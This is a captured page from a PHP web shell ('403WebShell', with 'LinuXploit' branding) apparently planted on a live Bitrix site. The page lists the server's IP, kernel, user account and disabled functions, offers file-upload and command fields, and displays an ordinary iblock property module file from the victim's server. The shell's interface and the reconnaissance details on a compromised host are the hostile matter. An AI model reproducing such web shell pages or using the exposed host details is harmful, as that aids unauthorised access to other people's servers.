%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.220.55.43
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.allimportexport/lib/entity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/esol.allimportexport/lib/entity/property_table.php
<?php
namespace Bitrix\Iblock;

use Bitrix\Main\Localization\Loc,
	Bitrix\Main\Loader;
Loc::loadMessages(__FILE__);

class EsolIEPropertyTable extends \Bitrix\Iblock\PropertyTable
{
	public static function getMap()
	{
		$arMap = parent::getMap();
		
		if(isset($arMap['USER_TYPE_SETTINGS_LIST']) && isset($arMap['USER_TYPE_SETTINGS']))
		{
			unset($arMap['USER_TYPE_SETTINGS']);
		}
		
		if(class_exists('\Bitrix\Iblock\SectionPropertyTable'))
		{
			$arMap['SECTION_PROP'] = new \Bitrix\Main\Entity\ReferenceField(
				'SECTION_PROP',
				'\Bitrix\Iblock\SectionPropertyTable',
				array(
					'=ref.PROPERTY_ID' => 'this.ID',
					'=ref.SECTION_ID' => new \Bitrix\Main\DB\SqlExpression('?i', 0),
				)
			);
			$arMap['SECTION_PROP.SMART_FILTER'] = new \Bitrix\Main\Entity\StringField(
				'SECTION_PROP.SMART_FILTER', 
				array(
					'title' => Loc::getMessage('ESOL_AIE_PROPERTY_SMART_FILTER')
				)
			);
			$arMap['SECTION_PROP.DISPLAY_EXPANDED'] = new \Bitrix\Main\Entity\StringField(
				'SECTION_PROP.DISPLAY_EXPANDED', 
				array(
					'title' => Loc::getMessage('ESOL_AIE_PROPERTY_DISPLAY_EXPANDED')
				)
			);
		}
		
		$arFeatures = array();
		if(is_callable(array('\Bitrix\Iblock\Model\PropertyFeature', 'isEnabledFeatures')) && \Bitrix\Iblock\Model\PropertyFeature::isEnabledFeatures())
		{
			$arFeatures = \Bitrix\Iblock\Model\PropertyFeature::getPropertyFeatureList(array());
			foreach($arFeatures as $arFeature)
			{
				$fieldName = 'IE_FEATURE_'.str_replace('.', '_', $arFeature['MODULE_ID']).'_'.$arFeature['FEATURE_ID'];
				$arMap[$fieldName] = new \Bitrix\Main\Entity\ReferenceField(
					$fieldName,
					'Bitrix\Iblock\PropertyFeatureTable',
					array(
						'=ref.PROPERTY_ID' => 'this.ID',
						'=ref.MODULE_ID' => new \Bitrix\Main\DB\SqlExpression('?s', $arFeature['MODULE_ID']),
						'=ref.FEATURE_ID' => new \Bitrix\Main\DB\SqlExpression('?s', $arFeature['FEATURE_ID'])
					)
				);
				$arMap[$fieldName.'.IS_ENABLED'] = new \Bitrix\Main\Entity\StringField(
					$fieldName.'_'.$arFeature['FEATURE_ID'].'.IS_ENABLED', 
					array(
						'title' => $arFeature['FEATURE_NAME']
					)
				);
			}
		}
		
		/*$arMap['ENUM_PROP'] = array(
			'data_type' => '\Bitrix\Iblock\EsolIEPropertyEnumerationTable',
			'reference' => array(
				'=this.ID' => 'ref.PROPERTY_ID',
			)
		);*/
		
		return $arMap;
	}
	
	public static function getIEFields($type='export')
	{
		$arMap = self::getMap();
		$arMap = array_diff_key($arMap, array_flip(preg_grep('/^(IE_FEATURE_|SECTION_PROP)[^\.]*$/', array_keys($arMap))));
		//$arMap = array_diff_key($arMap, array_flip(preg_grep('/^(IE_FEATURE_)[^\.]*$/', array_keys($arMap))));
		return $arMap;
	}
	
	public static function GetFeatures(&$arFields)
	{
		$arFeatures = array();
		if(is_callable(array('\Bitrix\Iblock\Model\PropertyFeature', 'isEnabledFeatures')) && \Bitrix\Iblock\Model\PropertyFeature::isEnabledFeatures())
		{
			$arFeatures = \Bitrix\Iblock\Model\PropertyFeature::getPropertyFeatureList(array());
		}
		
		$arFeaturesFields = array();
		foreach($arFeatures as $arFeature)
		{
			$featureKey = $arFeature['MODULE_ID'].':'.$arFeature['FEATURE_ID'];
			$featureKey2 = 'IE_FEATURE_'.$arFeature['MODULE_ID'].'_'.$arFeature['FEATURE_ID'];
			if(isset($arFields[$featureKey2.'.IS_ENABLED']))
			{
				$arFeaturesFields[$featureKey] = array(
					'MODULE_ID' => $arFeature['MODULE_ID'],	
					'FEATURE_ID' => $arFeature['FEATURE_ID'],	
					'IS_ENABLED' => $arFields[$featureKey2.'.IS_ENABLED'] == 'Y' ? 'Y' : 'N'
				);
			}
		}
		$arFields = array_diff_key($arFields, array_flip(preg_grep('/^IE_FEATURE_/', array_keys($arFields))));
		return $arFeaturesFields;
	}
	
	public static function SaveFeatures($arFeatures, $propId)
	{
		if(empty($arFeatures) || !is_callable(array('\Bitrix\Iblock\Model\PropertyFeature', 'isEnabledFeatures')) || !\Bitrix\Iblock\Model\PropertyFeature::isEnabledFeatures()) return;
		foreach($arFeatures as $k=>$v)
		{
			$arFeatures[$k]['PROPERTY_ID'] = $propId;
		}
		\Bitrix\Iblock\Model\PropertyFeature::setFeatures($propId, $arFeatures);
	}
	
	public static function GetSmartFilter(&$arFields)
	{
		$arSmartFilter = array();
		foreach($arFields as $k=>$v)
		{
			if(strpos($k, 'SECTION_PROP.')===0)
			{
				$arSmartFilter[substr($k, 13)] = (ToUpper(trim($v))=='Y' ? 'Y' : 'N');
				unset($arFields[$k]);
			}
		}
		return $arSmartFilter;
	}
	
	public static function SaveSmartFilter($arSmartFilter, $ID)
	{
		if(!empty($arSmartFilter) > 0 && class_exists('\Bitrix\Iblock\SectionPropertyTable'))
		{
			$updateIndex = false;
			$cnt = 0;
			$arProp = self::getList(array('filter'=>array('ID'=>$ID), 'select'=>array('IBLOCK_ID')))->Fetch();
			$dbRes = \Bitrix\Iblock\SectionPropertyTable::getList(array('filter'=>array('PROPERTY_ID'=>$ID), 'select'=>array('IBLOCK_ID', 'SECTION_ID', 'PROPERTY_ID', 'SMART_FILTER')));
			while($arr = $dbRes->Fetch())
			{
				\Bitrix\Iblock\SectionPropertyTable::update(array('IBLOCK_ID'=>$arr['IBLOCK_ID'], 'SECTION_ID'=>$arr['SECTION_ID'], 'PROPERTY_ID'=>$arr['PROPERTY_ID']), $arSmartFilter);
				if(isset($arSmartFilter['SMART_FILTER']) && $arSmartFilter['SMART_FILTER']=='Y' && $arr['SMART_FILTER']!='Y') $updateIndex = true;
				$cnt++;
			}
			
			if($cnt==0)
			{
				\Bitrix\Iblock\SectionPropertyTable::add(array_merge(array('IBLOCK_ID'=>$arProp['IBLOCK_ID'], 'SECTION_ID'=>0, 'PROPERTY_ID'=>$ID, 'SMART_FILTER'=>'N', 'DISPLAY_TYPE'=>'F', 'DISPLAY_EXPANDED'=>'N'), $arSmartFilter));
				if(isset($arSmartFilter['SMART_FILTER']) && $arSmartFilter['SMART_FILTER']=='Y') $updateIndex = true;
			}
			
			if($updateIndex) \Bitrix\Iblock\PropertyIndex\Manager::markAsInvalid($arProp['IBLOCK_ID']);
		}
	}
	
	public static function CheckCntFilterFields($fieldName)
	{
		if(strpos($fieldName, 'IE_FEATURE_')!==false
			|| strpos($fieldName, 'SECTION_PROP')!==false) return false;
		return true;
	}
	
	public static function Add(array $arFields)
	{
		$arFeatures = self::GetFeatures($arFields);
		$arSmartFilter = self::GetSmartFilter($arFields);
		$result = parent::Add($arFields);
		if($result->isSuccess())
		{
			$ID = $result->getId();
			if(!empty($arFeatures)) self::SaveFeatures($arFeatures, $ID);
			if(!empty($arSmartFilter) > 0) self::SaveSmartFilter($arSmartFilter, $ID);
		}
		
		return $result;
	}
	
	public static function Update($ID, array $arFields)
	{
		$arFeatures = self::GetFeatures($arFields);
		$arSmartFilter = self::GetSmartFilter($arFields);
		if(empty($arFields)) $arFields['ID'] = $ID;
		$result = parent::Update($ID, $arFields);
		if($result->isSuccess())
		{
			if(!empty($arFeatures)) self::SaveFeatures($arFeatures, $ID);
			if(!empty($arSmartFilter) > 0) self::SaveSmartFilter($arSmartFilter, $ID);
		}
		
		return $result;
	}
	
	public static function Delete($ID)
	{		
		$result = parent::Delete($ID, $arFields);
		
		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit